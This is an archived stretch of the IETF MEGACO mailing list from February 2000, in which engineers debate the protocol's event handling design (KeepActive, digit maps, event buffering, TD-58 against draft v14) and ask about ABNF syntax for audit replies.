> > > Yes I know. What you are telling me know, is that yes, the
> > > current event
> > > handling mechanism is probably not adequate for scripting and
> > > you would do
> > > something special, e.g. not perform the hard-coded Notify we
> > > saw above. What
> > > about interaction between different schemes, consistency,
> > > ease of understanding,
> > > etc. This looks very flaky to me and that is precisely my point.
> > >
> > >
> > > >
> > > > > Such requirements for special treatment and consideration
> > > are simply
> > > > > evidence of lack of generality that should not show up at
> > > > > this stage. The
> > > > > solution specified in TD-58 from Red Bank did not suffer
> > > from these
> > > > > drawbacks.
> > > > Disagree as per above
> > >
> > > You are going to have to explain the drawbacks of TD-58 to
> > > me. I have now
> > > offered you drawbacks with the v14 scheme. Considering that I
> > > have not seen you
> > > (or anyone else for that matter) explain any kind of
> > > drawbacks with the TD-58
> > > scheme and that I have shown several drawbacks with the v14
> > > scheme, I think it
> > > is your turn to explain the problems with TD-58 now. You have
> > > been very adament
> > > about not making changes without any good reason, so I would
> > > like to see that
> > > same rule applied to TD-58.
> > >
> > >
> > >
> > > >
> > > > >
> > > > > Some additional comments below
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > Coming out of Red Bank there was NO consensus on Events,
> > > > > > there was in fact wide disagreement on events.
> Coming out of
> > > > > > Washington, there was NO consensus on events, there
> was in fact
> > > > > > wide disagreement on events.  The proposal we have
> in V13 was
> > > > > > an attempt to fix what people saw as problems in the event
> > > > > > mechanism.
> > > > > >
> > > > > > In Red Bank, no one could explain how the MGCP
> mechanism works.
> > > > > > In Washington, several people attempted to explain
> how it works
> > > > > > (Christian Huitema was not there for that session).
>  Today in
> > > > > > fact, I'll bet you if you ask 10 people who claim they
> > > understand
> > > > > > how the MGCP mechanism works, you would get several answers,
> > > > > > although I would grant you that there is not a lot
> of variation
> > > > > > in the implementations.  The V13 mechanism was not
> > > comprehensible
> > > > > > to anyone in the design meetings in Washington or Red Bank.
> > > > >
> > > > > If understanding the MGCP mechanism is the real problem, then
> > > > > I'm sure we
> > > > > can get the right people to clarify. Having spent a lot of
> > > > > time on this
> > > > > (admittedly confusing) aspect myself, I can certainly
> > > offer my help if
> > > > > needed. As for a general lack of understanding of the
> > > > > mechanism I think you
> > > > > are exagerating. There may be small details here and
> > > there that people
> > > > > interpret differently, but I bet you any mechanism you
> > > > > specify will suffer
> > > > > from this, including yours.
> > > >
> > > > Flemming, there are a core of about 5 people who sat
> and argued and
> > > > questioned and puzzled about the MGCP mechanism over two
> > > IETF meetings, the
> > > > Red Bank meeting and the email list.  Check the archives -
> > > there are lots of
> > > > messages that attempt to explain how the MGCP mechanism
> > > works.  No two
> > > > people agreed.  I asked 4 people who said they were part of
> > > implementation
> > > > teams.  They all explained it differently, although it
> > > seems that they
> > > > implemented it close to the same thing.  I believe the MGCP
> > > text is poorly
> > > > written, poorly understood.  AND, even when people more or
> > > less explained
> > > > how it worked, they were totally unable to explain how you
> > > would use it.
> > >
> > > I'm not talking about MGCP, I'm talking about TD-58. You are
> > > the editor and have
> > > done an outstanding job under some very different
> > > circumstances. If there is
> > > text that needs clarification, well then clarify it, don't
> > > scratch the mechanism
> > > and rewrite it from scratch.
> > >
> > > What if I ask you to explain how multimedia and streams work
> > > and whether they
> > > are indeed adequate for what we want to do. I bet you will
> > > have a very tough
> > > time (I know since you've stated your concerns on this issue
> > > several times)
> > > doing that, but that doesn't meen you just rewrite it, right ?
> > >
> > > In any case, we are drifting away from the technical points,
> > > which is what I
> > > want to focus on. Bottom line is, that I strongly believe the
> > > TD-58 scheme was
> > > better than what we now have in v14. Based on all of the
> > > above and in the
> > > absence of you explaining any problems with the TD-58
> mechanism and
> > > demonstrating advantages with the v14 mechanism, I must again
> > > ask for the text
> > > to be brough back in accordance with the outcome of the Red
> > > Bank meeting. If
> > > not, we have a significant change, and no consensus....
> > >
> > >
> > > >
> > > >
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > I still have never been given any semblance of a reason why
> > > > > > the variables in the MGCP exist, and what you do with them.
> > > > > > I can, and have, provided same for the current
> > > mechanism.  So far
> > > > > > we have not, save the confusion over the
> digitmap/keep active
> > > > > > confusion, found a problem.
> > > > >
> > > > > If you can be more specific I will do my best to try
> and explain.
> > > > >
> > > > > >
> > > > > >
> > > > > > So far, I have found people who want the MGC to
> sort out events,
> > > > > > and they want them as fast as the MG finds them.  I
> also found
> > > > > > people who want a simple state machine, with the MG
> and MGC in
> > > > > > lock step over what should happen.  We cater to
> both of those.
> > > > > > You seem to want something in between, something
> where the MG
> > > > > > has more knowledge about what the MGC wants, and when
> > > it wants it
> > > > > > than I can figure out.  I can't understand how anything
> > > in between
> > > > > > gimme all of them, and gimme the next one can work; please
> > > > > > enlighten me.
> > > > >
> > > > > Scripting! It comes in many shapes and forms (although not as
> > > > > many and not
> > > > > as powerful as you might want right now). You have
> > > already defined one
> > > > > yourself; digit maps. What accumulate, etc. gives you is
> > > essential the
> > > > > foundation to build on here. It can even be used natively in
> > > > > some cases,
> > > > > e.g. for MF trunking if you so desire.
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen
> [mailto:fandreasen@worldnet.att.net]
> > > > > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > >
> > > > > > >
> > > > > > > Hi Brian
> > > > > > >
> > > > > > > Some comments below
> > > > > > >
> > > > > > > Regards
> > > > > > >
> > > > > > >             Flemming
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > We have just had a discussion on this issue, and I
> > > believe it
> > > > > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > > > > of dtmf detection, but is otherwise the same as
> > > individual dtmf
> > > > > > > > events being enabled.  By that definition,
> > > KeepActive works the
> > > > > > > > way you wanted it; without it, signals stop with
> > > first detected
> > > > > > > > digit.  With it, signals continue while digits
> are detected.
> > > > > > > > So your IVR app would specify KeepActive on the
> > > > > digitmap completion
> > > > > > > > event, and use an embedded signal to turn it off if you
> > > > > wanted to.
> > > > > > > > The old mechanism doesn't work any differently; if you
> > > > > had specified
> > > > > > > > keepactive on the digits, whether or not they were
> > > accumulate by
> > > > > > > > digitmap actions, you still would not be able to treat
> > > > > the initial
> > > > > > > > digit differently from the terminating digit.  The
> > > only way you
> > > > > > > > could make this better would be to have the
> > > digitmap completion
> > > > > > > > event entirely separate from the dtmf detection
> > > events, so you
> > > > > > > > could have KeepActive separately on the digits from the
> > > > > completion.
> > > > > > > > I think embedded signals is a better answer, but I'm on
> > > > > record as
> > > > > > > > thinking that digitmaps should be a package and
> not a basic
> > > > > > > > protocol.
> > > > > > > >
> > > > > > > > I'll deal with any problems we still have with the
> > > current text,
> > > > > > > > but a "everything changed" complaint without a problem
> > > > > is a no-op.
> > > > > > >
> > > > > > > I beg to differ. A change without a problem is
> > > > > > > counterproductive and what
> > > > > > > gets into these situations. We had something
> perfectly fine
> > > > > > > after the Red
> > > > > > > Bank meeting which for some reason was changed. Exactly
> > > > > *what* was the
> > > > > > > problem that prompted this massive change (I'll spare you
> > > > > the ITU-T
> > > > > > > procedural arguments here). If there were no compelling
> > > > > > > reasons, then I
> > > > > > > suggest that the text is simply brought back in
> line with the
> > > > > > > agreement from
> > > > > > > Red Bank, and then we can close this (big) one
> and move along.
> > > > > > >
> > > > > > > If you really want to, we can start a debate about the
> > > > > > > relative merits,
> > > > > > > trade-offs, and shortcomings of one scheme versus
> the other.
> > > > > > > A couple of
> > > > > > > topics off the top of my head
> > > > > > > - Reduced number of messages and resultant reduced load
> > > > > on network and
> > > > > > > entities
> > > > > > > - Effective event arrival rate not limited by MGC-MG
> > > > > round-trip time
> > > > > > > - Support for scripting
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > brian
> > > > > > > >
> > > > > > > > > -----Original Message-----
> > > > > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >I think the primary need here is for
> clarifying text in
> > > > > > > > > section 7.1.14
> > > > > > > > > >indicating that events mapped into a digit map do
> > > > > not generate
> > > > > > > > > >notifications, but do terminate ongoing signals
> > > unless the
> > > > > > > > > KeepActive flag
> > > > > > > > > >is set.
> > > > > > > > > Not really. The fundamental problem is the
> > > complete rework of
> > > > > > > > > the agreed
> > > > > > > > > upon event handling mechanism that for some
> > > reason was done
> > > > > > > > > after the Red
> > > > > > > > > Bank meeting.
> > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > > > > 25, 2000 7:43
> > > > > > > > > >PM  To:
> MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > > > > >   Cisco SG16:
> > > > > > > > > >Keep Active
> > > > > > > > > >
> > > > > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > > > > >table  Category:       Technical  Issue:
> > >  The draft
> > > > > > > > > text specifies
> > > > > > > > > >that "KeepActive:      As Notify, but
> > > production of signals
> > > > > > > > > continues (if
> > > > > > > > > >any signals were active)".The above
> definition is overly
> > > > > > > > > restrictive in
> > > > > > > > > >that it prevents events from being  accumulated
> > > (either with
> > > > > > > > > or without
> > > > > > > > > >digit map) and at the same time keeping  a
> signal active.
> > > > > > > > > For example an
> > > > > > > > > >IVR application accumulating a string of
> user input and
> > > > > > > playing an
> > > > > > > > > >announcement until the entire string is
> > > accumulated cannot
> > > > > > > > > be supported
> > > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > > recommended, that
> > > > > > > > > >"KeepActive" does not generate a "Notify"
> and that it
> > > > > > > > > becomes possible to
> > > > > > > > > >specify multiple actions such that
> "KeepActive" can be
> > > > > > > > > combined with,
> > > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > > the particular
> > > > > > > > > >application.
> > > > > > > > > >
> > > > > > > > > >v13 Status:     OPEN. Event actions table has been
> > > > > removed and
> > > > > > > > > >extensive  modification of entire event processing
> > > > > taken place.
> > > > > > > > > >
> > > > > > > > > >Section:        7.1.9  Category:
> Technical  Issue:
> > > > > > >          The
> > > > > > > > > >draft text specifies that "When KeepActive
> is specified
> > > > > > > as the  event
> > > > > > > > > >action, the media gateway shall send a Notify
> > > message to the
> > > > > > > > >  controller
> > > > > > > > > >upon detection of the event. Furthermore,
> the controller
> > > > > > > shall  not
> > > > > > > > > >interrupt any signals active on the
> Termination on which
> > > > > > > the event
> > > > > > > > > >is  detected" The above definition is overly
> restrictive
> > > > > > > in that it
> > > > > > > > > >prevents  events from being accumulated
> (either with or
> > > > > > > > > without digit map)
> > > > > > > > > >and at the  same time keeping a signal active. For
> > > > > example an IVR
> > > > > > > > > >application  accumulating a string of user input and
> > > > > playing an
> > > > > > > > > >announcement until the  entire string is
> > > accumulated cannot
> > > > > > > > > be supported
> > > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > > recommended, that
> > > > > > > > > >"KeepActive" does not generate a "Notify"
> and that it
> > > > > > > > > becomes possible to
> > > > > > > > > >specify multiple actions such that
> "KeepActive" can be
> > > > > > > > > combined with,
> > > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > > the particular
> > > > > > > > > >application.
> > > > > > > > > >
> > > > > > > > > >v13 Status:     OPEN. Extensive
> modifications of event
> > > > > > > handling has
> > > > > > > > > >taken  place. Events now always reported
> immediately on
> > > > > > > detection.
> > > > > > > > >
> > > > > > > > > Support NetAid!  http://www.netaid.org
> > > > > > > > > --------------------------------------------------
> > > > > > > > > Chip Sharp                 Consulting Engineering
> > > > > > > > > Cisco Systems              Telco Bio-region
> > > > > > > > > Reality - Love it or Leave it.
> > > > > > > > > --------------------------------------------------
> > > > > > > > >
> > > > > > >
> > > > > > > --
> > > > > > > ---------------------------------------
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > > ---------------------------------------
> > > > > > >
> > > > > > >
> > > > >
> > > > > Regards
> > > > >
> > > > >         Flemming
> > > > >
> > > > > --
> > > > > ---------------------------------------
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > > ---------------------------------------
> > > > >
> > > > >
> > >
> > > Regards
> > >
> > >         Flemming
> > > -
> > > ---------------------------------------
> > > Flemming Andreasen
> > > Cisco Systems
> > > ---------------------------------------
> > >
> > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 11:13:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09234
	for ; Wed, 9 Feb 2000 11:13:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C216C130@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:06:47 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34846 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 11:06:44 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.BFC29800@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          11:06:43 -0500
Received: from zmers013 by smtprch1.nortel.com; Wed, 9 Feb 2000 10:07:57 -0600
Received: from zcard00m.ca.nortel.com (actually zcard00m) by zmers013; Wed, 9
          Feb 2000 11:07:41 -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 1SYCAB74; Wed, 9 Feb 2000 11:07:40 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJPT5; Wed, 9 Feb 2000 11:07:41
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <38A17987.2D14344E@usa.alcatel.com>
Content-Type: multipart/alternative;
              boundary="------------A4E96CA5F672163499464383"
Message-ID:  <38A19139.A515C7D7@americasm01.nt.com>
Date:         Wed, 9 Feb 2000 11:09:29 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: ABNF
X-To:         Chuong Nguyen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------A4E96CA5F672163499464383
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Your interpretation is correct on both issues. The reason
errorDescriptor can
appear more than once is that a command can contain several descriptors
of
different types and each time one is in error, it would need a
corresponding
errorDescriptor. "In error" means something like stats are lost or no
stats to
report, modem is faulty or whatever. In short, rather than failing the
whole
command, you allow the descriptor to fail and collect all possible other
audit
info about the termination.

Abdallah

Chuong Nguyen wrote:

> Hi
>
> terminationAudit = auditReturnParameter *(COMMA auditReturnParameter)
>
> ; at-most-once except errorDescriptor
> auditReturnParameter =
> (mediaDescripto/......statisticaDescriptor/....)
>
> Is the "at-most-once" implying the following?
>
> Subtract=t123{Statistics{......}} and
>
> not Subtract=t123{Statistics{...}, Statistics{...}, Statistics{....}}
>
> That is in general wherever the ABNF shows a combination of the above
> statements,
> the intend is that the command would not have the same descriptor more
> than once in the command.
> Also in the above statements, only errorDescriptor can be included
> more than once in the
> command.
>
> Thanks
> Chuong
>
> --
>   Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
>   1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
>   **** The opinions expressed are not those of Alcatel USA, Inc ****
>
>

--------------A4E96CA5F672163499464383
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Your interpretation is correct on both issues. The reason errorDescriptor
can

appear more than once is that a command can contain several descriptors
of

different types and each time one is in error, it would need a corresponding

errorDescriptor. "In error" means something like stats are lost or
no stats to

report, modem is faulty or whatever. In short, rather than failing
the whole

command, you allow the descriptor to fail and collect all possible
other audit

info about the termination.

Abdallah

Chuong Nguyen wrote:

Hi

terminationAudit = auditReturnParameter *(COMMA auditReturnParameter)

; at-most-once except errorDescriptor

auditReturnParameter = (mediaDescripto/......statisticaDescriptor/....)

Is the "at-most-once" implying the following?

Subtract=t123{Statistics{......}} and

not Subtract=t123{Statistics{...}, Statistics{...}, Statistics{....}}

That is in general wherever the ABNF shows a combination of the above
statements,

the intend is that the command would not have the same descriptor more
than once in the command.

Also in the above statements, only errorDescriptor can be included
more than once in the

command.

Thanks

Chuong

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 



--------------A4E96CA5F672163499464383--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 11:18:57 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09369
	for ; Wed, 9 Feb 2000 11:18:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.06F3E2A0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:15:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34826 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 11:13:55 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.5885E9D0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:03:50
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id LAA15286; Wed, 9 Feb
          2000 11:06:10 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id LAA02442; Wed, 9 Feb
          2000 11:06:12 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT40HS>; Wed, 9 Feb 2000 11:02:49 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088ED@whq-msgusr-02.fore.com>
Date:         Wed, 9 Feb 2000 11:06:10 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Michael Thomas 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Somewhat hoisted, I press on :)

I do think that DigitMaps is much too specialized and should be
replaced with a much more general mechanism, but the mechanism
doesn't behave like accumulate - it actually processes the events,
until it finds a terminating event and sends ONE message.  That
is useful, and a generalized mechanism that processed a set of
events, until it found a terminating event and sent one message
would be great.  It doesn't take action to do it, all it takes
is having an event that takes a list of other events and a pattern
to match.  That can be defined in a package.

An even better mechanism would be a script that could handle
a sequence of events and change state as the events occurred,
then send a message.

Neither of those mechanisms benefit from action and loop/step;
on the contrary, they make it more complicated because the
protocol would specify how events got in and out of the buffer
and the script mechanism or generalized digitmap mechanism
has to work around that (you don't say "Accumulate" on
dtmf, you have to say "process by map").

Brian

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Wednesday, February 09, 2000 10:49 AM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Cisco SG16: Keep Active
>
>
> Rosen, Brian writes:
>  > Flemming
>  >
>  > Rather than go through this, it seems we are in an impasse.
>  >
>  > I believe that the two modes provided give you all the tools
>  > required to either have events sent to the MGC as fast as they
>  > occur, but with little filtering, or, to have the MGC and the MG
>  > be in lock-step on processing events.  If there are some wording
>  > problems that make you think this is not so, we will have to change
>  > them, as that is the intent.
>  >
>  > It would seem that there is only one fundamental difference in the
>  > two mechanisms: you seem to want a way to have some events
> get buffered, and
>  > then have something occur which causes the buffer
>  > to be sent.  I think there is no such requirement.
>
> What, in principle, are digit maps if not special
> instances of what Flemming is describing? I don't
> think that anybody would argue that, say,
> overlapped dialing doesn't function properly. It's
> just that there's incentive to keep usual and
> unneed load off the MGC, which is a consideration.
>
> Didn't you at one time want to fold digit maps
> into a general mechanism? Something that you
> thought might be a good idea if it weren't for the
> fact that it opened yet another can of worms? How
> would you do this without having a means of
> buffering events where a specified trigger caused
> the MG to send the accumulated events?
>
>  > Let me rephrase
>  > that a little: the benefit of creating in-between mechanisms
>  > is outweighed by the complexity of the mechanism required, and the
>  > lack of agreement on what additional complexity is warranted.
>  > I think you would agree that the "send events as you find them"
>  > always works, it's just that the MGC may have to throw away some
>  > events it may have been able to avoid seeing, which raises the
>  > complexity of the MGC code required.
>
> It's not an issue of complexity; MGC's need to
> deal with events and their timing no matter how
> they come in. It it's an issue of efficiency. In
> the case of digit maps, it would at least double
> the number of messages needed to complete a call.
>
>
>              Mike
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 11:59:24 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA10525
	for ; Wed, 9 Feb 2000 11:59:23 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AA5F4420@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:56:14 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35105 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 11:55:52 -0500
Received: from fw3.usa.alcatel.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.36F5EFD0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:45:51
          -0500
Received: (from uucp@localhost) by fw3.usa.alcatel.com (8.8.8+Sun/8.8.8) id
          KAA13265 for ; Wed, 9 Feb 2000
          10:48:11 -0600 (CST)
Received: from relay1.usa.alcatel.com(10.17.102.29) by fw3 via smap (V2.0) id
          xma013146; Wed, 9 Feb 00 10:47:25 -0600
Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by
          relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id KAA26279 for
          ; Wed, 9 Feb 2000 10:47:23 -0600
          (CST)
Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAC1F75 for
          ; Wed, 9 Feb 2000 10:47:23 -0600
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id KAA05886 for ; Wed, 9
          Feb 2000 10:46:38 -0600 (CST)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id KAA11269
          for ; Wed, 9 Feb 2000 10:46:37
          -0600 (CST)
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="------------6FB5386D5EE9873A7CA83A31"
Message-ID:  <38A199ED.470A0695@usa.alcatel.com>
Date:         Wed, 9 Feb 2000 10:46:37 -0600
Reply-To: Chuong Nguyen 
Sender: "Media Gateway Control (megaco)"
              
From: Chuong Nguyen 
Subject:      Audit ABNF
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------6FB5386D5EE9873A7CA83A31
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi

Transaction=1000{Context=*{AuditValue=T123{}}}

Is the reply
1)  Reply=1000{Context=222{AuditValue=T123}}   or
2)  Reply=1000{Context=222{AuditValue=Context{T123}}}

If Reply is #1, how do I format a transaction that will give me
auditReply = AuditValueToken EQUAL CtxToken (terminationIDList)
Something like this:   Transaction=1000{Context=*{AuditValue=*}}   ?????



Thanks
Chuong

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------6FB5386D5EE9873A7CA83A31
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi

Transaction=1000{Context=*{AuditValue=T123{}}}

Is the reply

1)  Reply=1000{Context=222{AuditValue=T123}}   or

2)  Reply=1000{Context=222{AuditValue=Context{T123}}}

If Reply is #1, how do I format a transaction that will give me

auditReply = AuditValueToken EQUAL CtxToken (terminationIDList)

Something like this:   Transaction=1000{Context=*{AuditValue=*}}  
?????

 

Thanks

Chuong

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------6FB5386D5EE9873A7CA83A31--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 12:06:53 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10843
	for ; Wed, 9 Feb 2000 12:06:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A83B5D40@standards.nortelnetworks.com>; Wed, 9 Feb 2000 12:03:20 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35239 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 12:02:39 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.8FC8F8D0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 12:02:39
          -0500
Received: from worldnet.att.net ([12.78.98.159]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000209170504.QYMN1419@worldnet.att.net>; Wed, 9 Feb 2000 17:05:04
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088EC@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A19E7B.EEE610D8@worldnet.att.net>
Date:         Wed, 9 Feb 2000 12:06:03 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> Flemming
>
> Having finished -06, I'm back to this thread.
>
> I think you had better take a look at TD-58.
> You might have thought that what you want was there, but it
> doesn't appear to be.

Actually it does as I'll explain below.

>
>
> TD-58 has the following features:
>         There is the action parameter, with Notify/Accumulate/Digit-
>                 Map and KeepActive
>         The TerminationBuffered parameter describes actions taken by
>          the MG when events are not immediately notified to the
>          controller.
>         1.      BufferedEventProcessingMode - specifies whether buffered
>          events should be processed (Process) or discarded (Discard).
>         2.      BufferedEventNotificationMode - specifies whether the
>          Media Gateway is expected to detect the requested event and
>          notify the controller once (step by step) or repeatedly
>         (Loop).
>
> So, you get events in the buffer if the action says Accumulate.
> You get events out of the buffer....when?
> loop/step says "detect the requested event and notify once or
> repeatedly".  Not a very interesting thing to do.  Just what was
> it supposed to do?  Send all of the buffer or one event in the buffer?
>

We read that sentence differently then, however your comments show that our
understanding is the same. "Step by step" implies is that you can send at
most once Notify to the controller and then you need to get a new
EventsDescriptor before proceeding. "Loop" on the other hand implies that
you do not have to wait for a new EventsDescriptor after sending a "Notify",
but you are allowed to continue processing events and send another Notify
should the actions specify so.

>
> Process/Discard says events in the event buffer should be processed
> or discarded.  Okay, suppose it's set to discard - do events ever
> get in?  If they do, when do we discard them?  Suppose it's set
> to process - when do we process them?

Brian, I think you are twisting words and I think you know as well as I do
what the intention of the above sentence is. However, let me answer your
question anyway; this applies when a new EventsDescriptor is received only.
It simply instructs the MG on what to do with any events that were

>
>
> I think I now, with your help, understand some of what was meant:
> Accumulate gets them in, Notify gets them out.
> Discard clears the buffer - nothing in, nothing out

Yes.

>
> Process lets them accumulate
